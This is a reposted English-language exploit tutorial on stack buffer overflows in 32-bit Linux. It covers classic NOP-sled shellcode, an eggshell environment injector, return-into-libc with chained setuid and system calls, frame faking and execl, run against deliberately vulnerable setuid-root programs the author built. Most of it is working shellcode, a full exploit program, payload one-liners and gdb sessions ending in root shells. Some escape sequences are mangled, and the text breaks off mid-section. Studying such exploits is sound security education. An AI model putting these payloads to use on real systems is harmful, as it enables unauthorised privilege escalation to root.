em Sem categoria

Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique

Este artigo em ingl?s foi tirado do site http://neworder.box.sk/

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Stack-based Overflow Exploit

– Introduction to Classical and Advanced Overflow Technique –

By vangelis([email protected])
Email: progressfree at hotmail.com

Thanks to beist(http://beist.org), naska!
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

1. Introduction

In this document I will not talk about what overflow is and how much
serious it is. There are so many articles about them. Before going into
the main discussion, I make such a simple program as vul.c. Almost
everyone with a small knowledge of buffer overflow can find out what
the problem is. As you know, strcpy() function doesn?t mind how many
data we put into buffer.

[[email protected] bof]# cat > vul.c
int main(int argc, char *argv[])
{
char buffer[100];
strcpy(buffer,argv[1]);
}
[[email protected] bof]# gcc -o vul vul.c
[[email protected] bof]#./vul `perl -e ‘print “A”x124’`
Segmentation fault
[[email protected] bof]#

When we put 124 “A” into buffer, the vulnerable program got ‘Segmentation
fault.’ Someone may wonder why the vulnerable program got ‘Segmentation
fault’ when we put data more than 124 bytes. As you know, memory can only
be addressed in the word size(4 bytes). So we may think that the vulnerable
program gets ‘Segmentation fault’ when we put 104 bytes(26 words) data. The
key point is that there were some changes after gcc 2.96 version. If my
system uses gcc 2.95 version and below it, the vulnerable program will get
‘Segmentation fault’ when we put 104 bytes data. I will explain about the
main change.

The main change is that stack is aligned by 16 bytes after gcc 2.96. So
when main() function is called, the space for a local variable is filled by
16 bytes. Look at the following program.

—————————————————-
int main(int argc, char *argv[])
{
char buffer[n];
strcpy(buffer, argv[1]);
}
—————————————————-

The following shows the size of n in the “buffer[n]” and real memory size.

———————————————
size of n | real memory size
———————————————
1 – 16 | 24 bytes
———————————————
17 – 32 | 40 bytes
———————————————
33 – 48 | 56 bytes
———————————————
49 – 64 | 72 bytes
———————————————
65 – 80 | 88 bytes
———————————————
81 – 96 | 104 bytes
———————————————
97 -112 | 120 bytes
: :
———————————————

As we can see, there is a change in the real memory size when 16 bytes are
added to n.

16+16(=32)+16(=48)+16(=64)+16(=80)+16(=96)+16(=112)…….
24 40 56 72 88 104 120
16 + 16 + 16 + 16 + 16 + 16…….

But in my system there are some irregularity when n is between 1 and 16.
When n is 1, 2, 4, 8, the real size of memory is 8 bytes. Let’s have
another example.

—————————————————-
int main(int argc, char *argv[])
{
char buffer[10];
strcpy(buffer, argv[1]);
}
—————————————————-

In the case of below gcc 2.96, we will get a result as following:

buffer(12) – sfp(4) – ret(4)

But after gcc 2.96, we will get the result like following:

buffer(16) – dummy(8) – sfp(4) – ret(4).

We can see that there are 8 bytes dummy. Let’s check by using gdb.

[[email protected] bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x18,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffffe8(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb)

Let’s go back to the vul.c. When we put 124 “A” into buffer, we got
‘Segmentation fault.’

Let’s check by using gdb.

[[email protected] bof]# gdb -q vul
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x78,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffff88(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb)

As you can see, 120 bytes are allocated for the local variable. So, in
order to overflow the stack, we must put more than 124 bytes’ data. Remember
that you have to check how many data are allocated for local variables when
you exploit a vulnerable program.

The last thing to do is to change the owner and permission of the vulnerable
program. I make a simple program chogm.c to do it.

[[email protected] bof]# cat > chogm.c
#include
#include
#include
#include

int main()
{
char file_name[20];

printf(“Put the file name you want to chown and chmod: “);

scanf(“%s”,file_name);

chown(file_name,0,0);
chmod(file_name,04755);
exit(0);
}

[[email protected] bof]# gcc -o chogm chogm.c
[[email protected] bof]# ./chogm
Put the file name you want to chown and chmod: vul
[[email protected] bof]# ls -l vul
-rwsr-xr-x 1 root root 11352 10월 5 10:04 vul
[[email protected] bof]#

Now, it’s time to attack. I will suggest some techniques to exploit the
vulnerable program. At first, I will suggest two classical ways. And then I will
suggest more advanced ways which can be used under non-executable stack.

2. Classical Overflow Technique

The classical overflow technique uses the concept of overwriting the EIP
register with approximate address of many NOPs in memory or shellcode. We have to
guess and estimate the return address. If you are not familiar with the the
concept of classical overflow technique, I recommend you to read the Aleph One’s
“Smashing The Stack For Fun And Profit”(http://phrack.org/phrack/49/P49-14) and
other good articles which are related with this subject.

2.1. General Overflow Technique

The classical exploit payload is composed of the following.

———————————————-
| NOP | shellcode | (dummy) | return address |
———————————————-

I think most readers of this article are familiar with the classical way to exploit
the stack-based overflow. So, I will not explain in detail.

[[email protected] bof]# su vangelis
[[email protected] bof]$ gdb -q vul
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x78,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffff88(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: leave
0x8048350
: ret
0x8048351
: nop
0x8048352
: nop
0x8048353
: nop
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul
/bin/bash: /root/.bashrc: permission denied

Breakpoint 1, 0x0804832e in main ()
(gdb) x/x $ebp
0xbfffef08: 0xbfffef28 // return address: $ebp + 4: 0xbfffef08 + 4 = 0xbfffef0c
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$

It is quite easy to get the return address. The general stack form is following:

buffer – (dummy) – ebp(4) – ret(4)

So, to get the return address, we get $ebp first and then plus 4. The $ebp is
0xbfffef08. We add 4 to 0xbfffef08. And then we get the return address 0xbfffef0c.
However, we have to remember that the return address through using gdb may be not
correct. So, when we attack the vulnerable program and if the return address is
not correct, we have to add or subtract some bytes.

[[email protected] bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42x0b\xcd\x80”, “a”x20, “\x0c\xef\xff\xbf”‘`
Segmentation fault
[[email protected] bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80”, “a”x20, “\x0c\xf1xff\xbf”‘`
Segmentation fault
[[email protected] bof]$ ./vul `perl -e ‘print “\x90″x72, “\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80”, “a”x20, “\x0c\xf2xff\xbf”‘`
sh-2.05b#

I got a root shell. But I think this way of exploiting is a little silly one.
Let’s use another classical way, using eggshell program.

2.2. Using “eggshell”

The way we use eggshell is to overwrite the return address of a vulnerable function
with the address we get after we execute the eggshell program. We have to keep in
mind that we must use a suitable setreuid shellcode to get a shell we want. If we
want to get a root shell, we have to use setreuid(0.0) code. If you don’t use the
setreuid(0,0) code, you can’t get a root shell. I will not discuss the way to make
shellcodes, because there are so many good documents about it.

[[email protected] bof]$ cat > eggshell.c
#include

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
“\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80” /* setreuid(0,0) */
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_esp(void) {
__asm__(“movl %esp,%eax”);
}

int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

if (!(egg = malloc(eggsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}

addr = get_esp() – offset;
printf(“Using address: 0x%x\n”, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize – 1] = ‘\0’;
egg[eggsize – 1] = ‘\0’;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}

[[email protected] bof]$ gcc -o eggshell eggshell.c
[[email protected] bof]$ ./eggshell
Using address: 0xbffff8f8
[[email protected] bof]$ ./vul `perl -e ‘print “\xf8\xf8\xff\xbf”x31’`
Segmentation fault

When we ‘print “\xf8\xf8\xff\xbf”x31′(124 bytes), we overwrite ‘buffer’ and ‘ebp’
but not ‘return address’ yet. Do you remember how the stack of this vulnerable
program looks like? It is as follows.

buffer(100 bytes) – dummy(20 bytes) – ebp(4 bytes) – ret(4 bytes)

As you can see, we need 128 bytes data to overwrite the return address.

[[email protected] bof]$ ./vul `perl -e ‘print “\xf8\xf8\xff\xbf”x32’`
sh-2.05b#

I got a root shell. It is much easier than the first way of exploiting. This
technique is quite helpful when a vulnerable program has small buffer, so we can’t
put shellcode directly into buffer like the first way. Let’s take another example
vul2.c. The size of memory allocated for the local variable is so small that we
can’t use the first classical way.

[[email protected] bof]$ cat > vul2.c
int main(int argc, char *argv[])
{
char buff[7];

strcpy(buff, argv[1]);
return 0;
}

[[email protected] bof]$ gcc -o vul2 vul2.c
[[email protected] bof]$ su
Password:
[[email protected] bof]# ./chogm
Put the file name you want to chown and chmod: vul2
[[email protected] bof]# su vangelis
[[email protected] bof]$ ls -l vul2
-rwsr-xr-x 1 root root 11353 10월 5 10:36 vul2
[[email protected] bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x18,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffffe8(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb) q
[[email protected] bof]$

The stack looks like this:

buffer(16) – dummy(8) – ebp(4) – ret(4)

We need 32 bytes to overwrite the return address.

[[email protected] bof]$ ./vul2 `perl -e ‘print “\xf8\xf8\xff\xbf”x8’`
sh-2.05b#

I got a root shell!

3. Advanced Overflow Technique Under the Non-executable Stack

Now I will suggest more advanced techniques which can be used under executable
stack and non-executable stack situation. Most of them are called “return-into-libc”
technique. This technique was introduced to bypass the non-executable stack patch.
If you read Nergal’s “Advanced return-into-lib(c) exploits(PaX case Study)”
(http://phrack.org/phrack/58/p58-0x04) you can find the introduction history of
return-into-libc technique. Especially Nergal’s article and the ‘Referenced
publications and projects’ will help you to understand return-into-libc technique.
I also recommend you to read Nergal’s article and other related ones.

From now on I will use the vul2 as a target program of attack.

3.1. The “Classical” return-into-libc and Limitations of system()

The classical return-into-libc method is “most commonly used to evade protection
offered by the non-executable stack. Instead of returning into code located within
the stack, the vulnerable function should return into a memory area occupied by a
dynamic library. It can be achieved by overflowing a stack buffer with the following
payload.”

————————————————————————–
| data to overflow buffer | *system() | 4 bytes dummy data | *”/bin/sh” |
————————————————————————–

We can easily get the address of system() by using gdb. And we can easily get the
address of “/bin/sh” by using environment variable. Let’s find out the address
of system() first.

[[email protected] bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2
/bin/bash: /root/.bashrc: Permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) x/i system
0x42041e50 : push %ebp
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$

I got the address of system():0x42041e50. Now I have to find out the address of “/bin/sh”.

To get the address of “/bin/sh” I will use environmental variable. We will make an
environmental variable hold the string “/bin/sh”. So, I create an environmental
variable called $WOWHACKER to store the string “/bin/sh”.

[[email protected] bof]$ export WOWHACKER=”/bin/sh”
[[email protected] bof]$ echo $WOWHACKER
/bin/sh
[[email protected] bof]$ env
SSH_AGENT_PID=922
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc…]
WOWHACKER=/bin/sh
SSH_AUTH_SOCK=/tmp/ssh-XXNxttOD/agent.863
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/863
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
[email protected]=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthj2VlJi
COLORTERM=gnome-terminal

_=/bin/env
[[email protected] bof]$

Now I make a small but useful program get_env.c to get the address of the
environmental variable holding the string “/bin/sh”.

[[email protected] bof]$ cat > get_env.c
#include
#include

int main(int argc, char *argv[])
{
char *addr;
addr=getenv(argv[1]);

printf(“Address of %s: %p\n”,argv[1],addr);
return 0;
}
[[email protected] bof]$ gcc -o get_env get_env.c
[[email protected] bof]$ ./get_env WOWHACKER
Address of WOWHACKER: 0xbffffd5c

The address of $WOWHACKER holding “/bin/sh” is 0xbffffd5c. Now I get all
information to exploit the vulnerable program vul2.

* address of system() – 0x42041e50
* address of $WOWHACKER – 0xbffffd5c

Our exploit payload looks like the following.

————————————————————————–
| data to overflow buffer | 0x42041e50 | 4 bytes dummy data | 0xbffffd5c |
————————————————————————–

[[email protected] bof]$ ./vul2 `perl -e ‘print “VANG”x7,”\x50\x1e\x04\x42”,”A”x4,”\x5c\xfd\xff\xbf”‘`
sh-2.05b$

I got a shell. But I couldn’t get a root shell. Here we can know that there
are some limitations in the classical return-into-libc technique. Negal said
the two limitations in his article like the following.

1. It is impossible to call another function, which requires arguments, after function_in_lib.
2. The arguments to function_in_lib cannot contain null bytes.

He told about the first limitation. “If a vulnerable application temporarily
drops privileges (for example, a setuid application can do seteuid(getuid())),
an exploit must regain privileges (with a call to setuid(something) usually)
before calling system().”

Now, I will suggest the way to get over the limitations.

3.2. First Way To Get Over the ?Classical? return-into-libc and system()

The first way to get over ‘classical’ return-into-libc is to use setuid() with
system(). The vulnerable program vul2 is setuid(0) set. So, we have to process
the argument ‘0’ of setuid() to get a root shell. If there is null byte before
going to system(), we will fail to get a root shell. In order to solve this
problem, we can use printf().

The first thing to use this technique is to add “/bin/sh” to the first list of
environment. Let’s see the list of environment variables by using env.

[[email protected] bof]$ env
SSH_AGENT_PID=955
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh

TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc…]
SSH_AUTH_SOCK=/tmp/ssh-XXwZPnO4/agent.896
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
[email protected]=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthct1pxK
COLORTERM=gnome-terminal
_=/bin/env
[[email protected] bof]$

The first list of environment variables is “SSH_AGENT_PID=955”.
Now I will add “/bin/sh” to it by using export.

[[email protected] bof]$ export SSH_AGENT_PID=”955;/bin/sh”
[[email protected] bof]$ env
SSH_AGENT_PID=955;/bin/sh
HOSTNAME=localhost.localdomain
PVM_RSH=/usr/bin/rsh
TERM=xterm
SHELL=/bin/bash
HISTSIZE=1000
JLESSCHARSET=ko
GTK_RC_FILES=/etc/gtk/gtkrc:/root/.gtkrc-1.2-gnome2
WINDOWID=23068815
QTDIR=/usr/lib/qt3-gcc3.2
USER=vangelis
LS_COLORS=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41: [etc…]
SSH_AUTH_SOCK=/tmp/ssh-XXRxCKJr/agent.897
PVM_ROOT=/usr/share/pvm3
USERNAME=root
SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/897
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin
MAIL=/var/spool/mail/root
PWD=/home/vangelis/test/bof
INPUTRC=/etc/inputrc
[email protected]=Ami
LANG=ko_KR.eucKR
GDMSESSION=Default
SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL=3
HOME=/home/vangelis
GNOME_DESKTOP_SESSION_ID=Default
BASH_ENV=/root/.bashrc
LOGNAME=vangelis
LESSOPEN=|/usr/bin/lesspipe.sh %s
DISPLAY=:0
G_BROKEN_FILENAMES=1
XAUTHORITY=/home/vangelis/.xauthzRzRr8
COLORTERM=gnome-terminal
_=/bin/env
[[email protected] bof]$

To make you understand the reason why I add ?/bin/sh? to the first list, I will dump the contents of memory.

[[email protected] bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2
/bin/bash: /root/.bashrc: permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) x/50x $ebp
0xbffff908: 0xbffff928 0x420158d4 0x00000001 0xbffff954
0xbffff918: 0xbffff95c 0x400124b8 0x00000001 0x08048278
0xbffff928: 0x00000000 0x08048299 0x08048328 0x00000001
0xbffff938: 0xbffff954 0x08048230 0x0804837c 0x4000a950
0xbffff948: 0xbffff94c 0x4001020c 0x00000001 0xbffffa77
0xbffff958: 0x00000000 0xbffffa94 0xbffffaae 0xbffffacd
0xbffff968: 0xbffffae2 0xbffffaf2 0xbffffafd 0xbffffb0d
0xbffff978: 0xbffffb1b 0xbffffb4f 0xbffffb61 0xbffffb7b
0xbffff988: 0xbffffb89 0xbffffd4c 0xbffffd65 0xbffffd8f
0xbffff998: 0xbffffdce 0xbffffddc 0xbffffdf6 0xbffffe51
0xbffff9a8: 0xbffffe5d 0xbffffe72 0xbffffe8e 0xbffffea1
0xbffff9b8: 0xbffffeb2 0xbffffec5 0xbffffef8 0xbfffff0c
0xbffff9c8: 0xbfffff14 0xbfffff35
(gdb) x/8wx 0xbffff954
0xbffff954: 0xbffffa77 0x00000000 0xbffffa94 0xbffffaae
0xbffff964: 0xbffffacd 0xbffffae2 0xbffffaf2 0xbffffafd
(gdb) x/s 0xbffffa77
0xbffffa77: “/home/vangelis/test/bof/vul2”
(gdb) x/8wx 0xbffff95c
0xbffff95c: 0xbffffa94 0xbffffaae 0xbffffacd 0xbffffae2
0xbffff96c: 0xbffffaf2 0xbffffafd 0xbffffb0d 0xbffffb1b
(gdb) x/s 0xbffffa94
0xbffffa94: “SSH_AGENT_PID=955;/bin/sh”
(gdb) x/s 0xbffffaae
0xbffffaae: “HOSTNAME=localhost.localdomain”
(gdb) x/s 0xbffffacd
0xbffffacd: “PVM_RSH=/usr/bin/rsh”
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$

As you can see, *env[0] is at 0xbffffa94 of 6th line. Let’s check from the 1st line to the 6th line.

0xbffff908: 0xbffff928 0x420158d4 0x00000001 0xbffff954
(**argv)

0xbffff918: 0xbffff95c 0x400124b8 0x00000001 0x08048278
(**env)

0xbffff928: 0x00000000 0x08048299 0x08048328 0x00000001
0xbffff938: 0xbffff954 0x08048230 0x0804837c 0x4000a950
0xbffff948: 0xbffff94c 0x4001020c 0x00000001 0xbffffa77
(argc) (*argv[0])

0xbffff958: 0x00000000 0xbffffa94 0xbffffaae 0xbffffacd
(null) (*env[0]) (*env[1]) (*env[2])

We added “/bin/sh” to env[0], so we can get a shell if we overwrite the
address of system() before null of the 6th line. And we get a root shell
if we overwrite the address of setuid() before system(). The null will
be used as an argument of setuid(), so the root privilege won’t be dropped.

Now I will suggest the attack payload:

———————————————————————–
| data to overflow | ?ret? of printf() x 18 | *setuid() | *system() |
———————————————————————–

In above payload, we must put ‘x18’ because we have to consider the
distance from **env to *env[0].

Now, let’s find out the addresses of setuid(), system(), and ret of printf().

[[email protected] bof]$ gdb -q vul2
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/vul2

/bin/bash: /root/.bashrc: permission denied
Breakpoint 1, 0x0804832e in main ()
(gdb) x/i setuid

0x420aefe0 : push %ebp
(gdb) x/i system
0x42041e50 : push %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0x42052390 : push %ebp
0x42052391 : mov %esp,%ebp
0x42052393 : sub $0x18,%esp
0x42052396 : mov %ebx,0xfffffffc(%ebp)
0x42052399 : lea 0xc(%ebp),%ecx
0x4205239c : call 0x4201575d <__i686 .get_pc_thunk.bx>
0x420523a1 : add $0xd7f2f,%ebx
0x420523a7 : mov 0x17c(%ebx),%eax
0x420523ad : mov (%eax),%eax
0x420523af : mov %ecx,0x8(%esp,1)
0x420523b3 : mov %eax,(%esp,1)
0x420523b6 : mov 0x8(%ebp),%eax
0x420523b9 : mov %eax,0x4(%esp,1)
0x420523bd : call 0x42047f00
0x420523c2 : mov 0xfffffffc(%ebp),%ebx
0x420523c5 : mov %ebp,%esp
0x420523c7 : pop %ebp
0x420523c8 : ret
0x420523c9 : nop
0x420523ca : nop
0x420523cb : nop
0x420523cc : nop
0x420523cd : nop
0x420523ce : nop
0x420523cf : nop
End of assembler dump.
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$

Now, we get all information to exploit.

*system(): 0x42041e50
*setuid(): 0x420aefe0
*ret of printf(): 0x420523c8

[[email protected] bof]$ ./vul2 “`perl -e ‘print “A”x28,”xc8x23x05x42″x18,”xe0xefx0ax42″,”x50x1ex04x42″‘`”
sh-2.05b#

In above attack string, I put ” ” in both end. This is because there
is “\x0a”. If there is “\x0a” in the payload, the rest part of payload
after “\x0a”will not be passed as arguments. So I put ” ” in both ends
to pass the rest part of arguments.

3.3. Frame Faking

This technique is well described in Nergal’s article and other related ones.
I wish you to read the articles. The attack payload is like this:

——————————————————
| data to overflow buffer | fake_ebp0 | leaveret |
——————————————————

It is quite easy to find out how many data we need to overflow buffer. We can
use gdb for it as we have seen. fake_ebp0 is the starting address of buffer.
I found that if we use eggshell we don’t need the exact fake_ebp0. We can use
from 0xbffff201 to 0xbffff908 for fake_ebp0, so we can have more chances. It
is sure that there may be differences among systems. Anyway, if we don’t use
eggshell, we need the exact fake_ebp0. So, I will use eggshell for convenience.

[[email protected] bof]$ ./eggshell
Using address: 0xbffff8d8
[[email protected] bof]$ gdb -q vul2
(gdb) disas main
Dump of assembler code for function main:
0x8048328

: push %ebp
0x8048329
: mov %esp,%ebp
0x804832b
: sub $0x18,%esp
0x804832e
: and $0xfffffff0,%esp
0x8048331
: mov $0x0,%eax
0x8048336
: sub %eax,%esp
0x8048338
: sub $0x8,%esp
0x804833b
: mov 0xc(%ebp),%eax
0x804833e
: add $0x4,%eax
0x8048341
: pushl (%eax)
0x8048343
: lea 0xffffffe8(%ebp),%eax
0x8048346
: push %eax
0x8048347
: call 0x8048268
0x804834c
: add $0x10,%esp
0x804834f
: mov $0x0,%eax
0x8048354
: leave // leaveret: 0x8048354
0x8048355
: ret
0x8048356
: nop
0x8048357
: nop
End of assembler dump.
(gdb) q
[[email protected] bof]$ ./vul2 `perl -e ‘print “a”x28,”\x01\xf2\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#
sh-2.05b# exit
[[email protected] bof]$ ./vul2 `perl -e ‘print “a”x28,”\x08\xf9\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#

Wow! I got a root shell. We can also use the address which we get after executing eggshell program.

[[email protected] bof]$ ./vul2 `perl -e ‘print “\xd8\xf8\xff\xbf”x7,”\x08\xf9\xff\xbf”,”\x54\x83\x04\x08″‘`
sh-2.05b#

3.4. Way of Using execl()

I included and explained about this technique in my last post “return-into-libc test” to Neworder(http://neworder.box.sk/newsread.php?newsid=11535). So, I don’t explain about this technique this time. I just include the test result. If you want to know about this, see my last post. Sorry^^.

[[email protected] bof]$ cat > execl.c
main()
{
execl();
}
[[email protected] bof]$ gcc -o execl execl.c
[[email protected] bof]$ gdb -q execl
(gdb) b main
Breakpoint 1 at 0x804832e
(gdb) r
Starting program: /home/vangelis/test/bof/execl
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0x0804832e in main ()
(gdb) p execl
$1 = {} 0x420ae890
(gdb) q
The program is running. Exit anyway? (y or n) y
[[email protected] bof]$ cat > setid.c
main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl(“/bin/bash”, “sh”, 0);
}
[[email protected] bof]$ gcc -o setid setid.c
[[email protected] bof]$ gdb -q setid
(gdb) b main
Breakpoint 1 at 0x8048406
(gdb) r
Starting program: /home/vangelis/test/bof/setid
/bin/bash: /root/.bashrc: Permission denied

Breakpoint 1, 0x08048406 in main ()
(gdb) x/30s 0xbffffd4b
0xbffffd4b: “PVM_ROOT=/usr/share/pvm3”
0xbffffd64: “SSH_AUTH_SOCK=/tmp/ssh-XXCipL12/agent.896”
0xbffffd8e: “SESSION_MANAGER=local/localhost.localdomain:/tmp/.ICE-unix/896”
0xbffffdcd: “USERNAME=root”
0xbffffddb: “MAIL=/var/spool/mail/root”
0xbffffdf5: “PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin”
0xbffffe50: “_=/bin/bash”
0xbffffe5c: “INPUTRC=/etc/inputrc”
0xbffffe71: “PWD=/home/vangelis/test/bof”
0xbffffe8d: “[email protected]=Ami”
0xbffffea0: “LANG=ko_KR.eucKR”
0xbffffeb1: “GDMSESSION=Default”
0xbffffec4: “SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass”
0xbffffef7: “HOME=/home/vangelis”
0xbfffff0b: “SHLVL=7”
0xbfffff13: “GNOME_DESKTOP_SESSION_ID=Default”
0xbfffff34: “BASH_ENV=/root/.bashrc”
